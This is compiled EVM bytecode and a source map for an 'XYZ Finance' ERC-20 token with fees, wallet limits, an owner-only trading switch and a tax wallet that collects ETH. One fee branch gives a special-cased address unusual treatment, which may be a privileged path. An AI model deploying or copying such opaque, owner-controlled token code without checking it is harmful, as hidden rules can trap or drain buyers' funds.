0x608060405260043610610113575f3560e01c8063715018a61161009d578063a8aa1b3111610062578063a8aa1b3114610313578063a9059cbb14610332578063c9567bf914610351578063dd62ed3e14610359578063f2fde38b1461039d575f80fd5b8063715018a61461027b578063751039fc1461028f5780637d1db4a5146102a35780638da5cb5b146102b857806395d89b41146102e8575f80fd5b8063313ce567116100e3578063313ce567146101d35780634fbee193146101ee57806351bc3c851461021c5780636c0a24eb1461023257806370a0823114610247575f80fd5b806306fdde031461011e578063095ea7b31461016357806318160ddd1461019257806323b872dd146101b4575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b5060408051808201909152600b81526a58595a2046696e616e636560a81b60208201525b60405161015a91906114aa565b60405180910390f35b34801561016e575f80fd5b5061018261017d366004611509565b6103bc565b604051901515815260200161015a565b34801561019d575f80fd5b506101a66103d2565b60405190815260200161015a565b3480156101bf575f80fd5b506101826101ce366004611533565b610442565b3480156101de575f80fd5b506040516009815260200161015a565b3480156101f9575f80fd5b50610182610208366004611571565b60046020525f908152604090205460ff1681565b348015610227575f80fd5b506102306104aa565b005b34801561023d575f80fd5b506101a660175481565b348015610252575f80fd5b506101a6610261366004611571565b6001600160a01b03165f9081526002602052604090205490565b348015610286575f80fd5b50610230610504565b34801561029a575f80fd5b50610230610517565b3480156102ae575f80fd5b506101a660165481565b3480156102c3575f80fd5b505f546001600160a01b03165b6040516001600160a01b03909116815260200161015a565b3480156102f3575f80fd5b506040805180820190915260038152622c2cad60e91b602082015261014d565b34801561031e575f80fd5b506006546102d0906001600160a01b031681565b34801561033d575f80fd5b5061018261034c366004611509565b61052c565b610230610538565b348015610364575f80fd5b506101a661037336600461158c565b6001600160a01b039182165f90815260036020908152604080832093909416825291909152205490565b3480156103a8575f80fd5b506102306103b7366004611571565b610783565b5f6103c83384846107fe565b5060015b92915050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead5f9081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc54600154919261043d9290916104379190610921565b90610921565b905090565b5f61044e84848461092c565b61049f843361049a85604051806060016040528060288152602001611738602891396001600160a01b038a165f9081526003602090815260408083203384529091529020549190610dc7565b6107fe565b5060015b9392505050565b6014546001600160a01b031633146104c0575f80fd5b305f908152600260205260409020546104d890610df2565b60405133904780156108fc02915f818181858888f19350505050158015610501573d5f803e3d5ffd5b50565b61050c610f42565b6105155f610f9b565b565b61051f610f42565b6001546016819055601755565b5f6103c833848461092c565b610540610f42565b60055f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610590573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906105b491906115c3565b6001600160a01b031663c9c653963060055f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610613573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061063791906115c3565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610681573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106a591906115c3565b600680546001600160a01b0319166001600160a01b039283161790556005546001546106d492309216906107fe565b6005546001600160a01b031663f305d7193430610705816001600160a01b03165f9081526002602052604090205490565b5f8033426040518863ffffffff1660e01b815260040161072a969594939291906115de565b60606040518083038185885af1158015610746573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061076b9190611619565b50506006805460ff60a01b1916600160a01b17905550565b61078b610f42565b6001600160a01b0381166107f55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b61050181610f9b565b6001600160a01b0383166108605760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107ec565b6001600160a01b0382166108c15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107ec565b6001600160a01b038381165f8181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6104a38284611658565b6001600160a01b0383166109905760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107ec565b6001600160a01b0382166109f25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107ec565b6001600160a01b0383165f90815260026020526040902054811115610a735760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016107ec565b6001600160a01b0383165f9081526004602052604090205460ff16158015610ab357506001600160a01b0382165f9081526004602052604090205460ff16155b15610b0157600654600160a01b900460ff16610b015760405162461bcd60e51b815260206004820152600d60248201526c74726164696e6741637469766560981b60448201526064016107ec565b6001600160a01b0383165f9081526004602052604090205460ff16158015610b4157506001600160a01b0382165f9081526004602052604090205460ff16155b8015610b5b57506006546001600160a01b03838116911614155b8015610b7257506001600160a01b03821661dead14155b15610bea576017546001600160a01b0383165f90815260026020526040902054610b9c9083610fea565b1115610bea5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e000060448201526064016107ec565b60165481111580610c1257506001600160a01b0383165f9081526004602052604090205460ff165b80610c3457506001600160a01b0382165f9081526004602052604090205460ff165b610c745760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016107ec565b6006546001600160a01b038381169116148015610ca957506001600160a01b0383165f9081526004602052604090205460ff16155b15610cc657600160075f828254610cc0919061166b565b90915550505b610cd08383610ff5565b15610ce557610ce0600a5461107b565b5f6007555b6001600160a01b0383165f90815260026020526040902054610d079082610921565b6001600160a01b0384165f90815260026020526040812091909155610d2c84846111ff565b610d365781610d41565b610d41848484611243565b6001600160a01b0384165f90815260026020526040902054909150610d669082610fea565b6001600160a01b038085165f8181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610db99085815260200190565b60405180910390a350505050565b5f8184841115610dea5760405162461bcd60e51b81526004016107ec91906114aa565b505050900390565b6040805160028082526060820183525f9260208301908036833701905050905030815f81518110610e2557610e2561167e565b6001600160a01b03928316602091820292909201810191909152600554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610e7c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ea091906115c3565b81600181518110610eb357610eb361167e565b6001600160a01b039283166020918202929092010152600554610ed991309116846107fe565b60055460405163791ac94760e01b81526001600160a01b039091169063791ac94790610f119085905f90869030904290600401611692565b5f604051808303815f87803b158015610f28575f80fd5b505af1158015610f3a573d5f803e3d5ffd5b505050505050565b5f546001600160a01b031633146105155760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016107ec565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f6104a3828461166b565b6008545f9060ff161580156110135750600654600160a81b900460ff165b80156110285750600654600160a01b900460ff165b801561104c57506001600160a01b0383165f9081526004602052604090205460ff16155b801561106557506006546001600160a01b038381169116145b80156104a3575050600954600754101592915050565b6008805460ff19166001908117909155600e54600d54600c545f936110ba936002936110b49391926110ae928391610fea565b90610fea565b906113ab565b90505f6110dc826110d6600c54866113ab90919063ffffffff16565b906113b6565b90505f6110e98483610921565b9050476110f582610df2565b5f6111004783610921565b90505f61112261111b600c548861092190919063ffffffff16565b83906113b6565b90505f61113a600c54836113ab90919063ffffffff16565b9050801561114c5761114c86826113c1565b600d545f90611160906110b48560026113ab565b905080156111a9576014546001600160a01b03166108fc611182836002611701565b6040518115909202915f818181858888f193505050501580156111a7573d5f803e3d5ffd5b505b4780156111e9576014546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156111e7573d5f803e3d5ffd5b505b50506008805460ff191690555050505050505050565b6001600160a01b0382165f9081526004602052604081205460ff161580156104a35750506001600160a01b03165f9081526004602052604090205460ff1615919050565b5f8061124f8585611460565b11156113a4575f6112716112638686611460565b6013546110b49086906113b6565b6006549091506001600160a01b03868116911614801561129e57506015546001600160a01b038581169116145b156112c7576112b183633b9aca006113ab565b6006805460ff60a81b1916600160a81b17905590505b305f908152600260205260409020546112e09082610fea565b305f908152600260205260409020556112fc6112638686611460565b9050306001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161134391815260200190565b60405180910390a35f600f541180156113665750600f546113648686611460565b115b15611392576113923061dead61138d600f546110b4601354896113b690919063ffffffff16565b61092c565b61139c8382610921565b9150506104a3565b5092915050565b5f6104a38284611701565b5f6104a38284611718565b6005546113d99030906001600160a01b0316846107fe565b60055460155460405163f305d71960e01b81526001600160a01b039283169263f305d71992859261141892309289925f928392169042906004016115de565b60606040518083038185885af1158015611434573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906114599190611619565b5050505050565b6006545f906001600160a01b039081169083160361148157506011546103cc565b6006546001600160a01b03908116908416036114a057506010546103cc565b5060125492915050565b5f6020808352835180828501525f5b818110156114d5578581018301518582016040015282016114b9565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610501575f80fd5b5f806040838503121561151a575f80fd5b8235611525816114f5565b946020939093013593505050565b5f805f60608486031215611545575f80fd5b8335611550816114f5565b92506020840135611560816114f5565b929592945050506040919091013590565b5f60208284031215611581575f80fd5b81356104a3816114f5565b5f806040838503121561159d575f80fd5b82356115a8816114f5565b915060208301356115b8816114f5565b809150509250929050565b5f602082840312156115d3575f80fd5b81516104a3816114f5565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b5f805f6060848603121561162b575f80fd5b8351925060208401519150604084015190509250925092565b634e487b7160e01b5f52601160045260245ffd5b818103818111156103cc576103cc611644565b808201808211156103cc576103cc611644565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156116e05784516001600160a01b0316835293830193918301916001016116bb565b50506001600160a01b03969096166060850152505050608001529392505050565b80820281158282048414176103cc576103cc611644565b5f8261173257634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b48c0249218021af24d5a75851edec1b1242dae999aee5ebbe47d741376bcb4764736f6c63430008140033

6493:8936:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8515:67;;;;;;;;;;-1:-1:-1;8575:5:0;;;;;;;;;;;;-1:-1:-1;;;8575:5:0;;;;8515:67;;;;;;;:::i;:::-;;;;;;;;9125:133;;;;;;;;;;-1:-1:-1;9125:133:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;9125:133:0;1023:187:1;9264:132:0;;;;;;;;;;;;;:::i;:::-;;;1361:25:1;;;1349:2;1334:18;9264:132:0;1215:177:1;14774:309:0;;;;;;;;;;-1:-1:-1;14774:309:0;;;;;:::i;:::-;;:::i;8665:67::-;;;;;;;;;;-1:-1:-1;8665:67:0;;6712:1;2000:36:1;;1988:2;1973:18;8665:67:0;1858:184:1;6912:51:0;;;;;;;;;;-1:-1:-1;6912:51:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;10172:205;;;;;;;;;;;;;:::i;:::-;;8026:64;;;;;;;;;;;;;;;;8738:103;;;;;;;;;;-1:-1:-1;8738:103:0;;;;;:::i;:::-;-1:-1:-1;;;;;8821:18:0;8804:7;8821:18;;;:9;:18;;;;;;;8738:103;4921;;;;;;;;;;;;;:::i;9787:131::-;;;;;;;;;;;;;:::i;7959:60::-;;;;;;;;;;;;;;;;4273:87;;;;;;;;;;-1:-1:-1;4319:7:0;4346:6;-1:-1:-1;;;;;4346:6:0;4273:87;;;-1:-1:-1;;;;;2463:32:1;;;2445:51;;2433:2;2418:18;4273:87:0;2299:203:1;8588:71:0;;;;;;;;;;-1:-1:-1;8650:7:0;;;;;;;;;;;;-1:-1:-1;;;8650:7:0;;;;8588:71;;7000:19;;;;;;;;;;-1:-1:-1;7000:19:0;;;;-1:-1:-1;;;;;7000:19:0;;;8847:139;;;;;;;;;;-1:-1:-1;8847:139:0;;;;;:::i;:::-;;:::i;9404:375::-;;;:::i;8992:127::-;;;;;;;;;;-1:-1:-1;8992:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;9090:18:0;;;9073:7;9090:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;8992:127;5179:201;;;;;;;;;;-1:-1:-1;5179:201:0;;;;;:::i;:::-;;:::i;9125:133::-;9200:4;9207:37;9216:10;9228:7;9237:6;9207:8;:37::i;:::-;-1:-1:-1;9252:4:0;9125:133;;;;;:::o;9264:132::-;8821:9;:18;;;;7745:42;9317:7;8821:18;;;;;9334:12;;9317:7;;9334:60;;8821:18;;9334:33;;:12;:16;:33::i;:::-;:37;;:60::i;:::-;9327:67;;9264:132;:::o;14774:309::-;14872:4;14889:36;14899:6;14907:9;14918:6;14889:9;:36::i;:::-;14936:117;14945:6;14953:10;14965:87;15001:6;14965:87;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;14965:19:0;;;;;;:11;:19;;;;;;;;14985:10;14965:31;;;;;;;;;:87;:35;:87::i;:::-;14936:8;:117::i;:::-;-1:-1:-1;15071:4:0;14774:309;;;;;;:::o;10172:205::-;10236:17;;-1:-1:-1;;;;;10236:17:0;10222:10;:31;10214:40;;;;;;10300:4;8804:7;8821:18;;;:9;:18;;;;;;10265:42;;:16;:42::i;:::-;10318:51;;10326:10;;10347:21;10318:51;;;;;;;;;10347:21;10326:10;10318:51;;;;;;;;;;;;;;;;;;;;;10172:205::o;4921:103::-;4159:13;:11;:13::i;:::-;4986:30:::1;5013:1;4986:18;:30::i;:::-;4921:103::o:0;9787:131::-;4159:13;:11;:13::i;:::-;9856:12:::1;::::0;9841::::1;:27:::0;;;9879:16:::1;:31:::0;9787:131::o;8847:139::-;8925:4;8932:40;8942:10;8954:9;8965:6;8932:9;:40::i;9404:375::-;4159:13;:11;:13::i;:::-;9490:6:::1;;;;;;;;;-1:-1:-1::0;;;;;9490:6:0::1;-1:-1:-1::0;;;;;9490:14:0::1;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9472:46:0::1;;9527:4;9534:6;;;;;;;;;-1:-1:-1::0;;;;;9534:6:0::1;-1:-1:-1::0;;;;;9534:11:0::1;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9472:76;::::0;-1:-1:-1;;;;;;9472:76:0::1;::::0;;;;;;-1:-1:-1;;;;;3386:15:1;;;9472:76:0::1;::::0;::::1;3368:34:1::0;3438:15;;3418:18;;;3411:43;3303:18;;9472:76:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9465:4;:83:::0;;-1:-1:-1;;;;;;9465:83:0::1;-1:-1:-1::0;;;;;9465:83:0;;::::1;;::::0;;9591:6:::1;::::0;-1:-1:-1;9600:12:0;9559:54:::1;::::0;9576:4:::1;::::0;9591:6:::1;::::0;9559:8:::1;:54::i;:::-;9624:6;::::0;-1:-1:-1;;;;;9624:6:0::1;:22;9654:9;9673:4;9680:24;9673:4:::0;-1:-1:-1;;;;;8821:18:0;8804:7;8821:18;;;:9;:18;;;;;;;8738:103;9680:24:::1;9706:1;9709::::0;9712:10:::1;9724:15;9624:116;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;9751:13:0::1;:20:::0;;-1:-1:-1;;;;9751:20:0::1;-1:-1:-1::0;;;9751:20:0::1;::::0;;-1:-1:-1;9404:375:0:o;5179:201::-;4159:13;:11;:13::i;:::-;-1:-1:-1;;;;;5268:22:0;::::1;5260:73;;;::::0;-1:-1:-1;;;5260:73:0;;4590:2:1;5260:73:0::1;::::0;::::1;4572:21:1::0;4629:2;4609:18;;;4602:30;4668:34;4648:18;;;4641:62;-1:-1:-1;;;4719:18:1;;;4712:36;4765:19;;5260:73:0::1;;;;;;;;;5344:28;5363:8;5344:18;:28::i;15091:335::-:0;-1:-1:-1;;;;;15184:19:0;;15176:68;;;;-1:-1:-1;;;15176:68:0;;4997:2:1;15176:68:0;;;4979:21:1;5036:2;5016:18;;;5009:30;5075:34;5055:18;;;5048:62;-1:-1:-1;;;5126:18:1;;;5119:34;5170:19;;15176:68:0;4795:400:1;15176:68:0;-1:-1:-1;;;;;15263:21:0;;15255:68;;;;-1:-1:-1;;;15255:68:0;;5402:2:1;15255:68:0;;;5384:21:1;5441:2;5421:18;;;5414:30;5480:34;5460:18;;;5453:62;-1:-1:-1;;;5531:18:1;;;5524:32;5573:19;;15255:68:0;5200:398:1;15255:68:0;-1:-1:-1;;;;;15334:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;15386:32;;1361:25:1;;;15386:32:0;;1334:18:1;15386:32:0;;;;;;;15091:335;;;:::o;1682:98::-;1740:7;1767:5;1771:1;1767;:5;:::i;13427:1339::-;-1:-1:-1;;;;;13524:20:0;;13516:70;;;;-1:-1:-1;;;13516:70:0;;6070:2:1;13516:70:0;;;6052:21:1;6109:2;6089:18;;;6082:30;6148:34;6128:18;;;6121:62;-1:-1:-1;;;6199:18:1;;;6192:35;6244:19;;13516:70:0;5868:401:1;13516:70:0;-1:-1:-1;;;;;13605:23:0;;13597:71;;;;-1:-1:-1;;;13597:71:0;;6476:2:1;13597:71:0;;;6458:21:1;6515:2;6495:18;;;6488:30;6554:34;6534:18;;;6527:62;-1:-1:-1;;;6605:18:1;;;6598:33;6648:19;;13597:71:0;6274:399:1;13597:71:0;-1:-1:-1;;;;;8821:18:0;;8804:7;8821:18;;;:9;:18;;;;;;13687:6;:27;;13679:88;;;;-1:-1:-1;;;13679:88:0;;6880:2:1;13679:88:0;;;6862:21:1;6919:2;6899:18;;;6892:30;6958:34;6938:18;;;6931:62;-1:-1:-1;;;7009:18:1;;;7002:47;7066:19;;13679:88:0;6678:413:1;13679:88:0;-1:-1:-1;;;;;13782:26:0;;;;;;:18;:26;;;;;;;;13781:27;:61;;;;-1:-1:-1;;;;;;13813:29:0;;;;;;:18;:29;;;;;;;;13812:30;13781:61;13778:107;;;13852:13;;-1:-1:-1;;;13852:13:0;;;;13844:39;;;;-1:-1:-1;;;13844:39:0;;7298:2:1;13844:39:0;;;7280:21:1;7337:2;7317:18;;;7310:30;-1:-1:-1;;;7356:18:1;;;7349:43;7409:18;;13844:39:0;7096:337:1;13844:39:0;-1:-1:-1;;;;;13899:26:0;;;;;;:18;:26;;;;;;;;13898:27;:61;;;;-1:-1:-1;;;;;;13930:29:0;;;;;;:18;:29;;;;;;;;13929:30;13898:61;:91;;;;-1:-1:-1;13984:4:0;;-1:-1:-1;;;;;13963:26:0;;;13984:4;;13963:26;;13898:91;:121;;;;-1:-1:-1;;;;;;13993:26:0;;7745:42;13993:26;;13898:121;13895:235;;;14077:16;;-1:-1:-1;;;;;14040:20:0;;;;;;:9;:20;;;;;;:32;;14065:6;14040:24;:32::i;:::-;14039:54;;14031:97;;;;-1:-1:-1;;;14031:97:0;;7640:2:1;14031:97:0;;;7622:21:1;7679:2;7659:18;;;7652:30;7718:32;7698:18;;;7691:60;7768:18;;14031:97:0;7438:354:1;14031:97:0;14158:12;;14148:6;:22;;:52;;;-1:-1:-1;;;;;;14174:26:0;;;;;;:18;:26;;;;;;;;14148:52;:85;;;-1:-1:-1;;;;;;14204:29:0;;;;;;:18;:29;;;;;;;;14148:85;14140:115;;;;-1:-1:-1;;;14140:115:0;;7999:2:1;14140:115:0;;;7981:21:1;8038:2;8018:18;;;8011:30;-1:-1:-1;;;8057:18:1;;;8050:47;8114:18;;14140:115:0;7797:341:1;14140:115:0;14283:4;;-1:-1:-1;;;;;14270:17:0;;;14283:4;;14270:17;:48;;;;-1:-1:-1;;;;;;14292:26:0;;;;;;:18;:26;;;;;;;;14291:27;14270:48;14267:78;;;14341:1;14320:9;;:23;;;;;;;:::i;:::-;;;;-1:-1:-1;;14267:78:0;14358:37;14377:6;14385:9;14358:18;:37::i;:::-;14355:97;;;14397:29;14412:13;;14397:14;:29::i;:::-;14448:1;14428:9;:22;14355:97;-1:-1:-1;;;;;14482:17:0;;;;;;:9;:17;;;;;;:29;;14504:6;14482:21;:29::i;:::-;-1:-1:-1;;;;;14462:17:0;;;;;;:9;:17;;;;;:49;;;;14547:32;14472:6;14569:9;14547:13;:32::i;:::-;:78;;14619:6;14547:78;;;14582:34;14590:6;14598:9;14609:6;14582:7;:34::i;:::-;-1:-1:-1;;;;;14659:20:0;;;;;;:9;:20;;;;;;14522:103;;-1:-1:-1;14659:40:0;;14522:103;14659:24;:40::i;:::-;-1:-1:-1;;;;;14636:20:0;;;;;;;:9;:20;;;;;;;:63;;;;14715:43;;;;;;;;;;14743:14;1361:25:1;;1349:2;1334:18;;1215:177;14715:43:0;;;;;;;;13505:1261;13427:1339;;;:::o;2106:240::-;2226:7;2287:12;2279:6;;;;2271:29;;;;-1:-1:-1;;;2271:29:0;;;;;;;;:::i;:::-;-1:-1:-1;;;2322:5:0;;;2106:240::o;11797:434::-;11887:16;;;11901:1;11887:16;;;;;;;;11863:21;;11887:16;;;;;;;;;;-1:-1:-1;11887:16:0;11863:40;;11932:4;11914;11919:1;11914:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11914:23:0;;;:7;;;;;;;;;;:23;;;;11958:6;;:13;;;-1:-1:-1;;;11958:13:0;;;;:6;;;;;:11;;:13;;;;;11914:7;;11958:13;;;;;:6;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11948:4;11953:1;11948:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11948:23:0;;;:7;;;;;;;;;:23;12014:6;;11982:53;;11999:4;;12014:6;12023:11;11982:8;:53::i;:::-;12046:6;;:177;;-1:-1:-1;;;12046:177:0;;-1:-1:-1;;;;;12046:6:0;;;;:57;;:177;;12118:11;;12046:6;;12160:4;;12187;;12207:15;;12046:177;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11852:379;11797:434;:::o;4438:132::-;4319:7;4346:6;-1:-1:-1;;;;;4346:6:0;300:10;4502:23;4494:68;;;;-1:-1:-1;;;4494:68:0;;9724:2:1;4494:68:0;;;9706:21:1;;;9743:18;;;9736:30;9802:34;9782:18;;;9775:62;9854:18;;4494:68:0;9522:356:1;5540:191:0;5614:16;5633:6;;-1:-1:-1;;;;;5650:17:0;;;-1:-1:-1;;;;;;5650:17:0;;;;;;5683:40;;5633:6;;;;;;;5683:40;;5614:16;5683:40;5603:128;5540:191;:::o;1576:98::-;1634:7;1661:5;1665:1;1661;:5;:::i;9926:238::-;10037:8;;10012:4;;10037:8;;10036:9;:24;;;;-1:-1:-1;10049:11:0;;-1:-1:-1;;;10049:11:0;;;;10036:24;:41;;;;-1:-1:-1;10064:13:0;;-1:-1:-1;;;10064:13:0;;;;10036:41;:72;;;;-1:-1:-1;;;;;;10082:26:0;;;;;;:18;:26;;;;;;;;10081:27;10036:72;:93;;;;-1:-1:-1;10125:4:0;;-1:-1:-1;;;;;10112:17:0;;;10125:4;;10112:17;10036:93;:120;;;;-1:-1:-1;;10146:10:0;;10133:9;;:23;;;9926:238;-1:-1:-1;;9926:238:0:o;10385:1061::-;7358:8;:15;;-1:-1:-1;;7358:15:0;7369:4;7358:15;;;;;;10522:14:::1;::::0;10504:12:::1;::::0;10480::::1;::::0;7358:8;;10479:66:::1;::::0;10543:1:::1;::::0;10480:57:::1;::::0;10522:14;;10480:37:::1;::::0;;;:16:::1;:19::i;:::-;:23:::0;::::1;:37::i;:57::-;10479:63:::0;::::1;:66::i;:::-;10456:89;;10556:32;10591:42;10620:12;10591:24;10602:12;;10591:6;:10;;:24;;;;:::i;:::-;:28:::0;::::1;:42::i;:::-;10556:77:::0;-1:-1:-1;10644:14:0::1;10661:36;:6:::0;10556:77;10661:10:::1;:36::i;:::-;10644:53:::0;-1:-1:-1;10733:21:0::1;10765:24;10644:53:::0;10765:16:::1;:24::i;:::-;10800:20;10823:41;:21;10849:14:::0;10823:25:::1;:41::i;:::-;10800:64;;10875:19;10896:48;10913:30;10930:12;;10913;:16;;:30;;;;:::i;:::-;10896:12:::0;;:16:::1;:48::i;:::-;10875:69;;10955:29;10987;11003:12;;10987:11;:15;;:29;;;;:::i;:::-;10955:61:::0;-1:-1:-1;11030:34:0;;11027:103:::1;;11066:61;11079:24;11105:21;11066:12;:61::i;:::-;11186:12;::::0;11140:20:::1;::::0;11163:36:::1;::::0;:18:::1;:11:::0;11179:1:::1;11163:15;:18::i;:36::-;11140:59:::0;-1:-1:-1;11213:16:0;;11210:74:::1;;11239:17;::::0;-1:-1:-1;;;;;11239:17:0::1;11231:51;11267:14;:12:::0;11280:1:::1;11267:14;:::i;:::-;11231:51;::::0;;::::1;::::0;;::::1;::::0;::::1;::::0;;;;;;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11210:74;11320:21;11355:28:::0;;11352:87:::1;;11393:17;::::0;11385:52:::1;::::0;-1:-1:-1;;;;;11393:17:0;;::::1;::::0;11385:52;::::1;;;::::0;11421:15;;11393:17:::1;11385:52:::0;11393:17;11385:52;11421:15;11393:17;11385:52;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;11352:87;-1:-1:-1::0;;7378:8:0;:16;;-1:-1:-1;;7378:16:0;;;-1:-1:-1;;;;;;;;10385:1061:0:o;12239:174::-;-1:-1:-1;;;;;12345:26:0;;12320:4;12345:26;;;:18;:26;;;;;;;;12344:27;:61;;;;-1:-1:-1;;;;;;;12376:29:0;;;;;:18;:29;;;;;;;;12375:30;;12239:174;-1:-1:-1;12239:174:0:o;12649:770::-;12735:7;12792:1;12758:31;12771:6;12779:9;12758:12;:31::i;:::-;:35;12755:642;;;12805:17;12825:60;12853:31;12866:6;12874:9;12853:12;:31::i;:::-;12836:11;;12825:23;;:6;;:10;:23::i;:60::-;12907:4;;12805:80;;-1:-1:-1;;;;;;12899:12:0;;;12907:4;;12899:12;:35;;;;-1:-1:-1;12924:10:0;;-1:-1:-1;;;;;12913:21:0;;;12924:10;;12913:21;12899:35;12896:84;;;12946:15;:6;12957:3;12946:10;:15::i;:::-;12962:11;:16;;-1:-1:-1;;;;12962:16:0;-1:-1:-1;;;12962:16:0;;;12936:25;-1:-1:-1;12896:84:0;13035:4;13017:24;;;;:9;:24;;;;;;:39;;13046:9;13017:28;:39::i;:::-;13008:4;12990:24;;;;:9;:24;;;;;:66;13079:60;13107:31;13120:6;13128:9;13107:12;:31::i;13079:60::-;13067:72;;13180:4;-1:-1:-1;;;;;13155:42:0;13164:6;-1:-1:-1;;;;;13155:42:0;;13187:9;13155:42;;;;1361:25:1;;1349:2;1334:18;;1215:177;13155:42:0;;;;;;;;13229:1;13211:7;;:20;:65;;;;;13269:7;;13235:31;13248:6;13256:9;13235:12;:31::i;:::-;:41;13211:65;13208:149;;;13278:77;13296:4;7745:42;13318:36;13346:7;;13318:23;13329:11;;13318:6;:10;;:23;;;;:::i;:36::-;13278:9;:77::i;:::-;13374:21;:6;13385:9;13374:10;:21::i;:::-;13367:28;;;;;12755:642;-1:-1:-1;13405:6:0;12649:770;-1:-1:-1;;12649:770:0:o;1788:98::-;1846:7;1873:5;1877:1;1873;:5;:::i;1894:98::-;1952:7;1979:5;1983:1;1979;:5;:::i;11454:335::-;11567:6;;11535:53;;11552:4;;-1:-1:-1;;;;;11567:6:0;11576:11;11535:8;:53::i;:::-;11599:6;;11740:10;;11599:182;;-1:-1:-1;;;11599:182:0;;-1:-1:-1;;;;;11599:6:0;;;;:22;;11629:9;;11599:182;;11662:4;;11682:11;;11599:6;;;;11740:10;;11765:15;;11599:182;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;11454:335;;:::o;12421:220::-;12537:4;;12501:7;;-1:-1:-1;;;;;12537:4:0;;;12524:17;;;;12521:38;;-1:-1:-1;12550:7:0;;12543:14;;12521:38;12582:4;;-1:-1:-1;;;;;12582:4:0;;;12572:14;;;;12569:36;;-1:-1:-1;12595:8:0;;12588:15;;12569:36;-1:-1:-1;12622:11:0;;12421:220;;;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;